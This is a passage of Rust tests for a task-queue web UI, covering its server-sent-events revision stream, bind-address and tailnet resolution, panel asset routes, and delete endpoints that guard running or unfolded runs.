20378 "renderQueue() must consume both focus channels on every pass"
20379 );
20380 assert!(
20381 APP_JS.contains(
20382 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
20383 ),
20384 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20385 the recursive renderQueue() call has nothing left to reveal"
20386 );
20387 assert!(
20388 APP_JS.contains(
20389 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
20390 ),
20391 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20392 );
20393 assert!(
20401 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
20402 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20403 hashchange event that may never fire"
20404 );
20405 }
20406
20407 #[tokio::test]
20408 async fn the_change_stream_announces_the_current_revisions_on_connect() {
20409 let f = Fixture::start().await;
20410
20411 let mut socket = tokio::net::TcpStream::connect(f.addr)
20412 .await
20413 .expect("connect");
20414 socket
20415 .write_all(
20416 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20417 )
20418 .await
20419 .expect("write request");
20420
20421 let mut seen = String::new();
20424 let mut buf = [0u8; 1024];
20425 while !seen.contains("event: change") {
20426 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20427 .await
20428 .expect("the stream must speak within five seconds")
20429 .expect("read");
20430 assert!(read > 0, "the server closed the change stream: {seen}");
20431 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20432 }
20433
20434 assert!(
20435 seen.to_lowercase()
20436 .contains("content-type: text/event-stream"),
20437 "the browser only reconnects automatically for a real SSE stream: {seen}"
20438 );
20439 let data = seen
20440 .lines()
20441 .find_map(|l| l.strip_prefix("data:"))
20442 .expect("a data line");
20443 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20444 assert!(
20445 payload["queue_rev"].is_u64()
20446 && payload["runs_rev"].is_u64()
20447 && payload["questions_rev"].is_u64()
20448 && payload["talks_rev"].is_u64()
20449 && payload["notifications_rev"].is_u64()
20450 && payload["loop_rev"].is_u64(),
20451 "the client needs one revision per store to know what to refetch, \
20452 and `talks_rev` is the only notification a standing talk gets - a \
20453 phone whose radio slept through a turn learns about it here, as \
20454 does one whose operator started the loop from another device: \
20455 {payload}"
20456 );
20457
20458 let health = f.get("/api/health").await.json();
20465 for key in [
20466 "queue_rev",
20467 "runs_rev",
20468 "questions_rev",
20469 "talks_rev",
20470 "notifications_rev",
20471 "loop_rev",
20472 ] {
20473 assert!(
20474 health[key].is_u64(),
20475 "health is the change stream's fallback and is missing `{key}`: {health}"
20476 );
20477 }
20478 }
20479
20480 #[tokio::test]
20481 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20482 let f = Fixture::start().await;
20483 let before = f.get("/api/health").await.json()["talks_rev"]
20484 .as_u64()
20485 .expect("talks_rev");
20486
20487 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20488 std::thread::sleep(Duration::from_millis(10));
20489 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20490 on_disk.turns.push(crate::talk::Turn {
20491 sender: None,
20492 breaks: Some(Vec::new()),
20493 messages: Vec::new(),
20494 posted_by: None,
20495 who: crate::talk::Who::Operator,
20496 body: "a new turn".to_owned(),
20497 at: Timestamp::now(),
20498 attachments: Vec::new(),
20499 usage: None,
20500 });
20501 f.talks().put(&mut on_disk).expect("record a turn");
20502
20503 let after = tokio::time::timeout(Duration::from_secs(5), async {
20504 loop {
20505 let revision = f.get("/api/health").await.json()["talks_rev"]
20506 .as_u64()
20507 .unwrap();
20508 if revision != before {
20509 break revision;
20510 }
20511 tokio::time::sleep(Duration::from_millis(50)).await;
20512 }
20513 })
20514 .await
20515 .expect("shared monitor observes external turn");
20516 assert_ne!(
20517 before, after,
20518 "a phone must be able to notice a talk's reply without polling every store"
20519 );
20520 }
20521
20522 #[test]
20523 fn bind_reads_back_from_the_spelling_the_cli_prints() {
20524 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20528 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20529 }
20530 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20531 assert!("everywhere".parse::<Bind>().is_err());
20532 }
20533
20534 #[test]
20535 fn an_explicit_bind_address_is_taken_verbatim() {
20536 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20537
20538 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20539
20540 assert_eq!(addr, asked);
20541 assert!(
20542 warning.is_none(),
20543 "an operator who named an address gets no lecture"
20544 );
20545 }
20546
20547 #[test]
20548 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20549 let (addr, warning) = resolve_bind(&Bind::Auto);
20550
20551 match addr {
20558 IpAddr::V4(ip) if is_tailnet(&ip) => {
20559 assert!(warning.is_none(), "a tailnet address needs no warning");
20560 }
20561 other => {
20562 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20563 let warning = warning.expect("a fallback has to explain itself");
20564 assert!(
20565 warning.contains("127.0.0.1") && warning.contains("local-only"),
20566 "the warning says what happened and what it costs: {warning}"
20567 );
20568 }
20569 }
20570 }
20571
20572 #[test]
20573 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20574 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20578 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20579 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20580 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20581 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20582 }
20583
20584 #[test]
20585 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20586 let ids = vec![
20587 "20260902-140501-aaaa".to_owned(),
20588 "20260902-140502-aabb".to_owned(),
20589 ];
20590
20591 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20592 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20593 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20594
20595 assert_eq!(missing.status, StatusCode::NOT_FOUND);
20596 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20597 assert_eq!(short, "20260902-140502-aabb");
20598 }
20599 #[tokio::test]
20600 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20601 let fx = Fixture::start().await;
20607 let id = panel(
20608 &fx,
20609 "<img src=\"shot.png\">",
20610 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20611 );
20612
20613 let doc = fx
20615 .get(&format!("/api/questions/{id}/panel/index.html"))
20616 .await;
20617 assert_eq!(doc.status, 200, "{}", doc.body);
20618 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20619
20620 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20621 assert_eq!(sibling.status, 200, "{}", sibling.body);
20622 assert_eq!(sibling.header("content-type"), Some("image/png"));
20623 assert_eq!(
20624 sibling.header("content-security-policy"),
20625 Some(PANEL_CSP),
20626 "the sibling route must carry the same policy as the asset route"
20627 );
20628
20629 assert_eq!(
20632 fx.head(&format!("/api/questions/{id}/panel")).await.status,
20633 200
20634 );
20635 }
20636
20637 #[test]
20638 fn delta_stamps_cover_add_update_remove_and_noop() {
20639 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20640 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20641 let delta = diff_stamps(&before, &after, 42);
20642 assert_eq!(delta.base, 42);
20643 assert_eq!(delta.changed, ["b", "c"]);
20644 assert_eq!(delta.removed, ["a"]);
20645 let same = diff_stamps(&after, &after, 43);
20646 assert!(same.changed.is_empty() && same.removed.is_empty());
20647 assert_ne!(stamps_revision(&before), stamps_revision(&after));
20648 let nanos: Stamps = [("b".into(), (2, 20))].into();
20649 let same_ms: Stamps = [("b".into(), (3, 20))].into();
20650 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20651 assert_eq!(stamps_revision(&Stamps::new()), 0);
20652 }
20653
20654 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20655 std::fs::create_dir_all(home.join("runs")).unwrap();
20656 Arc::new(Ui::new(
20657 Queue::at(home.join("queue")),
20658 Questions::at(home.join("questions")),
20659 Talks::at(home.join("talks")),
20660 home.join("runs"),
20661 home.to_owned(),
20662 PathBuf::from("/repo/magi"),
20663 ))
20664 }
20665
20666 #[test]
20667 fn monitor_scan_isolates_store_failures_and_recovers() {
20668 let home = TempDir::new().unwrap();
20669 let ui = delta_test_ui(home.path());
20670 std::fs::create_dir_all(ui.questions.root()).unwrap();
20671 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20672 let before = monitor_scan(&ui, None);
20673 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20674 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20675 std::fs::create_dir_all(ui.talks.root()).unwrap();
20676 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20677 let during = monitor_scan(&ui, Some(before.clone()));
20678 assert_eq!(during.0.2, before.0.2);
20679 assert_ne!(during.0.3, before.0.3);
20680 assert!(during.1[2].contains_key("new"));
20681 std::fs::remove_file(ui.questions.root()).unwrap();
20682 let after = monitor_scan(&ui, Some(during));
20683 assert_eq!(after.0.2, 0);
20684 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20685 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20687 assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20688 }
20689
20690 #[tokio::test]
20691 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20692 let home = TempDir::new().unwrap();
20693 let ui = delta_test_ui(home.path());
20694 let mut task = Task::new(
20695 "stream task".into(),
20696 "text".into(),
20697 PathBuf::from("/repo"),
20698 Source::Human,
20699 );
20700 ui.queue.put(&mut task).unwrap();
20701 let response = events(State(ui.clone())).await.into_response();
20702 let mut stream = response.into_body().into_data_stream();
20703 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
20704 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
20705 .await
20706 .unwrap()
20707 .unwrap()
20708 .unwrap();
20709 let text = String::from_utf8(chunk.to_vec()).unwrap();
20710 let data = text
20711 .lines()
20712 .find_map(|line| {
20713 line.strip_prefix("data: ")
20714 .or_else(|| line.strip_prefix("data:"))
20715 })
20716 .unwrap();
20717 serde_json::from_str(data).unwrap()
20718 }
20719 let initial = change(&mut stream).await;
20720 assert!(initial.get("queue_delta").is_none());
20721 task.instruction.push_str(" changed");
20722 ui.queue.put(&mut task).unwrap();
20723 let updated = change(&mut stream).await;
20724 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
20725 assert_eq!(
20726 updated["queue_delta"]["changed"],
20727 serde_json::json!([task.id])
20728 );
20729 assert_eq!(
20730 updated["queue_rev"].as_u64(),
20731 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
20732 );
20733 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
20734 let removed = change(&mut stream).await;
20735 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
20736 assert_eq!(
20737 removed["queue_delta"]["removed"],
20738 serde_json::json!([task.id])
20739 );
20740 }
20741
20742 #[tokio::test]
20743 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
20744 let home = TempDir::new().unwrap();
20745 let ui = delta_test_ui(home.path());
20746 let queue = ui.queue.clone();
20747 let query = |ids: Option<&str>| {
20748 Query(ListQuery {
20749 limit: Some(2),
20750 ids: ids.map(str::to_owned),
20751 })
20752 };
20753 let mut root = Task::new(
20754 "root".into(),
20755 "instruction".into(),
20756 PathBuf::from("/repo"),
20757 Source::Human,
20758 );
20759 queue.put(&mut root).unwrap();
20760 let mut blocked = Task::new(
20761 "blocked".into(),
20762 "instruction".into(),
20763 PathBuf::from("/repo"),
20764 Source::Human,
20765 );
20766 blocked.block(vec![root.id.clone()], None);
20767 queue.put(&mut blocked).unwrap();
20768 let whole =
20769 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
20770 .unwrap();
20771 let subset = serde_json::to_value(
20772 queue_list(State(ui.clone()), query(Some(&root.id)))
20773 .await
20774 .unwrap()
20775 .0,
20776 )
20777 .unwrap();
20778 assert_eq!(whole, subset, "requested root plus its blocked dependent");
20779 let blockers = serde_json::to_value(
20780 queue_list(State(ui.clone()), query(Some("")))
20781 .await
20782 .unwrap()
20783 .0,
20784 )
20785 .unwrap();
20786 assert_eq!(blockers.as_array().unwrap().len(), 1);
20787 assert_eq!(blockers[0]["id"], blocked.id);
20788 assert_eq!(
20789 blockers[0]["waits_on"],
20790 whole
20791 .as_array()
20792 .unwrap()
20793 .iter()
20794 .find(|row| row["id"] == blocked.id)
20795 .unwrap()["waits_on"]
20796 );
20797
20798 for id in [
20799 "20260902-140501-aaaa",
20800 "20260902-140502-bbbb",
20801 "20260902-140503-cccc",
20802 ] {
20803 write_run(&ui.runs, id, RunStatus::Merged);
20804 }
20805 let old = serde_json::to_value(
20806 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
20807 .await
20808 .unwrap()
20809 .0,
20810 )
20811 .unwrap();
20812 assert!(
20813 old.as_array().unwrap().is_empty(),
20814 "older updates must not enter the window"
20815 );
20816 let newest = serde_json::to_value(
20817 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
20818 .await
20819 .unwrap()
20820 .0,
20821 )
20822 .unwrap();
20823 assert_eq!(newest.as_array().unwrap().len(), 1);
20824 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
20825
20826 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
20827 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
20828 let talks = serde_json::to_value(
20829 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
20830 .await
20831 .unwrap()
20832 .0,
20833 )
20834 .unwrap();
20835 assert_eq!(talks.as_array().unwrap().len(), 1);
20836 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
20837 assert_eq!(
20838 serde_json::to_value(
20839 talks_list(State(ui.clone()), query(Some("")))
20840 .await
20841 .unwrap()
20842 .0
20843 )
20844 .unwrap(),
20845 serde_json::json!([])
20846 );
20847 }
20848
20849 #[tokio::test]
20850 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
20851 async fn delta_payload_benchmark() {
20852 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
20853 let ui = delta_test_ui(&home);
20854 let query = |ids: Option<String>| {
20855 Query(ListQuery {
20856 limit: Some(50),
20857 ids,
20858 })
20859 };
20860 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
20861 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
20862 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
20863 let queue_id = queue
20864 .iter()
20865 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
20866 .unwrap_or(&queue[0])
20867 .task
20868 .id
20869 .clone();
20870 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
20871 .await
20872 .unwrap()
20873 .0;
20874 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
20875 .await
20876 .unwrap()
20877 .0;
20878 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
20879 .await
20880 .unwrap()
20881 .0;
20882 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
20883 eprintln!(
20884 "DELTA_PAYLOAD {}",
20885 serde_json::json!({
20886 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
20887 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
20888 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
20889 "counts": [queue.len(), runs.len(), talks.len()],
20890 "blocked": queue_delta.len() - 1,
20891 })
20892 );
20893 }
20894
20895 #[test]
20896 fn runs_revision_moves_when_deleting_an_older_run() {
20897 let temp = TempDir::new().expect("tempdir");
20898 let runs = temp.path().join("runs");
20899 std::fs::create_dir_all(&runs).expect("create runs dir");
20900
20901 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
20902
20903 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
20904 std::thread::sleep(Duration::from_millis(10));
20905 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
20906
20907 let rev_before = runs_revision(&runs);
20908 assert!(rev_before > 0);
20909
20910 let old_dir = runs.join("20260901-100000-old1");
20911 std::fs::remove_dir_all(&old_dir).expect("remove old run");
20912
20913 let rev_after = runs_revision(&runs);
20914 assert_ne!(
20915 rev_before, rev_after,
20916 "deleting an older run must change the revision so other clients see the deletion"
20917 );
20918 }
20919
20920 fn write_state(runs: &FsPath, state: &RunState) {
20925 let dir = runs.join(&state.id);
20926 std::fs::create_dir_all(&dir).expect("run dir");
20927 std::fs::write(
20928 dir.join("run.json"),
20929 serde_json::to_string_pretty(state).expect("serialize run"),
20930 )
20931 .expect("write run.json");
20932 }
20933
20934 #[test]
20939 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
20940 let temp = TempDir::new().expect("tempdir");
20941 let runs = temp.path().join("runs");
20942 std::fs::create_dir_all(&runs).expect("create runs dir");
20943 let mut state = RunState::new(
20944 PathBuf::from("/repo/magi"),
20945 "main".to_owned(),
20946 "0123456789abcdef".to_owned(),
20947 "task".to_owned(),
20948 Config::default(),
20949 );
20950 state.id = "20260902-100000-c0de".to_owned();
20951 write_state(&runs, &state);
20952
20953 let rev_idle = runs_revision(&runs);
20954 std::thread::sleep(Duration::from_millis(10));
20955 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
20956 write_state(&runs, &state);
20957 let rev_started = runs_revision(&runs);
20958 assert_ne!(
20959 rev_idle, rev_started,
20960 "a seat starting must move the revision"
20961 );
20962
20963 std::thread::sleep(Duration::from_millis(10));
20964 state.seat_finished("judge-1");
20965 write_state(&runs, &state);
20966 let rev_finished = runs_revision(&runs);
20967 assert_ne!(
20968 rev_started, rev_finished,
20969 "and clearing it again must move the revision a second time"
20970 );
20971 }
20972
20973 #[tokio::test]
20974 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
20975 let fx = Fixture::start().await;
20980 let q = fx.queue();
20981
20982 let mut t = Task::new(
20983 "Task".to_owned(),
20984 "Instruction".to_owned(),
20985 PathBuf::from("/repo"),
20986 Source::Human,
20987 );
20988 t.block(
20989 vec!["20260101-000000-dead".to_owned()],
20990 Some("waiting on Task 1".to_owned()),
20991 );
20992 t.answers.push(crate::queue::AnsweredQuestion {
20993 question: "Which backend?".to_owned(),
20994 answer: "SQLite".to_owned(),
20995 });
20996 q.put(&mut t).expect("put t");
20997
20998 let res = fx.get("/api/queue").await;
20999 assert_eq!(res.status, 200);
21000 let list = res.json();
21001 let view = list
21002 .as_array()
21003 .expect("array")
21004 .iter()
21005 .find(|v| v["id"] == t.id)
21006 .expect("task in list");
21007 assert_eq!(view["status_str"], "blocked");
21008 assert_eq!(
21009 view["blocked_by"],
21010 serde_json::json!(["20260101-000000-dead"])
21011 );
21012 assert_eq!(view["block_reason"], "waiting on Task 1");
21013 assert_eq!(view["answers"][0]["question"], "Which backend?");
21014 assert_eq!(view["answers"][0]["answer"], "SQLite");
21015
21016 let res = fx
21020 .post(&format!("/api/queue/{}/hold", t.short()), None)
21021 .await;
21022 assert_eq!(res.status, 200);
21023 let held = res.json();
21024 assert_eq!(held["status_str"], "held");
21025 assert_eq!(held["blocked_by"], serde_json::json!([]));
21026 assert!(held["block_reason"].is_null());
21027 assert_eq!(held["answers"][0]["answer"], "SQLite");
21028 }
21029
21030 #[tokio::test]
21031 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
21032 let fx = Fixture::start().await;
21033 let q = fx.queue();
21034 let mk = |title: &str| {
21035 Task::new(
21036 title.to_owned(),
21037 "Instruction".to_owned(),
21038 PathBuf::from("/repo"),
21039 Source::Human,
21040 )
21041 };
21042 let mut root = mk("root");
21043 root.hold_manual(Some("waiting".to_owned()));
21044 q.put(&mut root).unwrap();
21045 let mut mid = mk("mid");
21046 mid.block(vec![root.id.clone()], None);
21047 q.put(&mut mid).unwrap();
21048 let mut leaf = mk("leaf");
21049 leaf.block(vec![mid.id.clone()], None);
21050 q.put(&mut leaf).unwrap();
21051
21052 let list = fx.get("/api/queue").await.json();
21053 let find = |id: &str| {
21054 list.as_array()
21055 .unwrap()
21056 .iter()
21057 .find(|v| v["id"] == id)
21058 .unwrap()
21059 .clone()
21060 };
21061 let leaf_view = find(&leaf.id);
21062 assert_eq!(
21063 leaf_view["waits_on"],
21064 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
21065 );
21066 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
21067 assert_eq!(
21068 find(&mid.id)["waits_on"],
21069 serde_json::json!([format!("{} (held)", root.short())])
21070 );
21071 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
21072 }
21073
21074 #[tokio::test]
21075 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
21076 let fx = Fixture::start().await;
21077 let q = fx.queue();
21078
21079 let mut t1 = Task::new(
21081 "Task 1".to_owned(),
21082 "Instruction 1".to_owned(),
21083 PathBuf::from("/repo"),
21084 Source::Human,
21085 );
21086 let run_id = "20260901-000000-r111";
21087 t1.runs.push(run_id.to_owned());
21088 write_run(&fx.runs(), run_id, RunStatus::Merged);
21089 q.put(&mut t1).expect("put t1");
21090
21091 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
21093 assert_eq!(res.status, 204);
21094 assert!(res.body.is_empty(), "204 No Content has no body");
21095 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
21096 assert!(
21097 fx.runs().join(run_id).exists(),
21098 "run directory must not be deleted when its task is deleted"
21099 );
21100
21101 let mut t2 = Task::new(
21103 "Task 2".to_owned(),
21104 "Instruction 2".to_owned(),
21105 PathBuf::from("/repo"),
21106 Source::Human,
21107 );
21108 t2.status = TaskStatus::Running;
21109 q.put(&mut t2).expect("put t2");
21110 let mut beat = crate::daemon::Status::new();
21111 beat.current = vec![crate::daemon::Current {
21112 worker: None,
21113 task: t2.id.clone(),
21114 run: "20260901-000000-r222".to_owned(),
21115 }];
21116 beat.updated_at = jiff::Timestamp::now();
21117 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21118 .expect("publish a heartbeat");
21119 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
21120 assert_eq!(res.status, 409);
21121 assert!(
21122 res.json()["error"]
21123 .as_str()
21124 .unwrap()
21125 .contains("live daemon")
21126 );
21127 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
21128
21129 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
21135 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21136 .expect("leave a stale heartbeat");
21137 let mut t3 = Task::new(
21138 "Task 3".to_owned(),
21139 "Instruction 3".to_owned(),
21140 PathBuf::from("/repo"),
21141 Source::Human,
21142 );
21143 t3.status = TaskStatus::Running;
21144 q.put(&mut t3).expect("put t3");
21145 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
21146 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
21147 assert_eq!(res.status, 204);
21148 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
21149 assert!(
21150 q.claim(&t3.id).is_ok(),
21151 "the stale lock went with it, so the id is claimable again"
21152 );
21153
21154 let res = fx.delete("/api/queue/nonexistent").await;
21156 assert_eq!(res.status, 404);
21157 }
21158
21159 #[tokio::test]
21160 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
21161 let fx = Fixture::start().await;
21162 let runs = fx.runs();
21163
21164 let run_id = "20260901-000000-fold";
21166 let mut state = RunState::new(
21167 PathBuf::from("/repo"),
21168 "main".to_owned(),
21169 "abc".to_owned(),
21170 "instruction".to_owned(),
21171 Config::default(),
21172 );
21173 state.id = run_id.to_owned();
21174 state.status = RunStatus::Merged;
21175 state.candidates.push(crate::run::Candidate {
21176 index: 0,
21177 label: 'A',
21178 agent: "a".to_owned(),
21179 branch: "b".to_owned(),
21180 worktree: PathBuf::from("/w"),
21181 summary: String::new(),
21182 stat: String::new(),
21183 files: 1,
21184 commits: 1,
21185 empty: false,
21186 failed: None,
21187 verified_noop: None,
21188 duration_ms: 0,
21189 folded: true,
21190 });
21191 let dir = runs.join(run_id);
21192 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
21193 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
21194 .expect("write artifact");
21195 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
21196 .expect("write run.json");
21197
21198 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
21200 assert_eq!(res.status, 204);
21201 assert!(res.body.is_empty(), "204 has no body");
21202 assert!(!dir.exists(), "run directory and artifacts must be deleted");
21203
21204 let run_running = "20260901-000000-rung";
21209 write_run(&runs, run_running, RunStatus::Prep);
21210 let mut beat = crate::daemon::Status::new();
21211 beat.current = vec![crate::daemon::Current {
21212 worker: None,
21213 task: "20260901-000000-task".to_owned(),
21214 run: run_running.to_owned(),
21215 }];
21216 beat.updated_at = jiff::Timestamp::now();
21217 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21218 .expect("publish a heartbeat");
21219 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
21220 assert_eq!(res.status, 409);
21221 assert!(
21222 res.json()["error"]
21223 .as_str()
21224 .unwrap()
21225 .contains("live daemon"),
21226 "the refusal must say who is holding it"
21227 );
21228 assert!(
21229 runs.join(run_running).exists(),
21230 "a run in flight keeps its directory"
21231 );
21232
21233 let run_unfolded = "20260901-000000-unfd";
21235 let mut state2 = RunState::new(
21236 PathBuf::from("/repo"),
21237 "main".to_owned(),
21238 "abc".to_owned(),
21239 "instruction".to_owned(),
21240 Config::default(),
21241 );
21242 state2.id = run_unfolded.to_owned();
21243 state2.status = RunStatus::Ready;
21244 state2.candidates.push(crate::run::Candidate {
21245 index: 0,
21246 label: 'A',
21247 agent: "a".to_owned(),
21248 branch: "b".to_owned(),
21249 worktree: PathBuf::from("/w"),
21250 summary: String::new(),
21251 stat: String::new(),
21252 files: 1,
21253 commits: 1,
21254 empty: false,
21255 failed: None,
21256 verified_noop: None,
21257 duration_ms: 0,
21258 folded: false,
21259 });
21260 let dir2 = runs.join(run_unfolded);
21261 std::fs::create_dir_all(&dir2).expect("create dir2");
21262 std::fs::write(
21263 dir2.join("run.json"),
21264 serde_json::to_string(&state2).unwrap(),
21265 )
21266 .expect("write run.json");
21267
21268 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
21269 assert_eq!(res.status, 409);
21270 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
21271 assert!(dir2.exists(), "unfolded run directory is kept");
21272
21273 let res = fx.delete("/api/runs/nonexistent").await;
21275 assert_eq!(res.status, 404);
21276 }
21277
21278 #[test]
21287 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
21288 let start = APP_JS
21289 .find("function renderStats() {")
21290 .expect("renderStats");
21291 let end = start
21292 + APP_JS[start..]
21293 .find("function statsTile(")
21294 .expect("the next top-level function");
21295 let body = &APP_JS[start..end];
21296
21297 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
21298 let gate_end = gate_start
21299 + body[gate_start..]
21300 .find("}\n renderStatsQueue")
21301 .expect("the gate's own closing brace, right before the unconditional call");
21302 let gated = &body[gate_start..gate_end];
21303
21304 assert_eq!(
21305 body.matches("renderStatsQueue(").count(),
21306 1,
21307 "renderStats must call renderStatsQueue exactly once: {body}"
21308 );
21309 assert!(
21310 !gated.contains("renderStatsQueue"),
21311 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
21312 run-derived panels on an empty run history - the queue panel has to render \
21313 regardless: {gated}"
21314 );
21315 }
21316
21317 #[test]
21318 fn web_ui_delete_contract_in_front_end() {
21319 assert!(APP_JS.contains("deleteRun:"));
21321 assert!(APP_JS.contains("deleteTask:"));
21322
21323 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
21325 ..APP_JS.find("function renderRuns").unwrap()];
21326 assert!(!run_cards_slice.to_lowercase().contains("delete"));
21327
21328 assert!(APP_JS.contains("renderRunDelete"));
21330 assert!(APP_JS.contains("runDeleteReason"));
21331 assert!(APP_JS.contains("magi fold"));
21332 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
21333
21334 assert!(APP_JS.contains("cancel.focus"));
21336 assert!(APP_JS.contains("armedRunDelete"));
21337 assert!(APP_JS.contains("renderTaskDeleteBox"));
21338 assert!(APP_JS.contains("armed${cap(key)}"));
21339
21340 assert!(APP_JS.contains("disabled: status === \"running\""));
21342 }
21343
21344 #[test]
21364 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
21365 let build = APP_JS
21366 .find("function createRunCard")
21367 .expect("createRunCard exists");
21368 let update = APP_JS
21369 .find("function updateRunCard")
21370 .expect("updateRunCard exists");
21371 let end = APP_JS
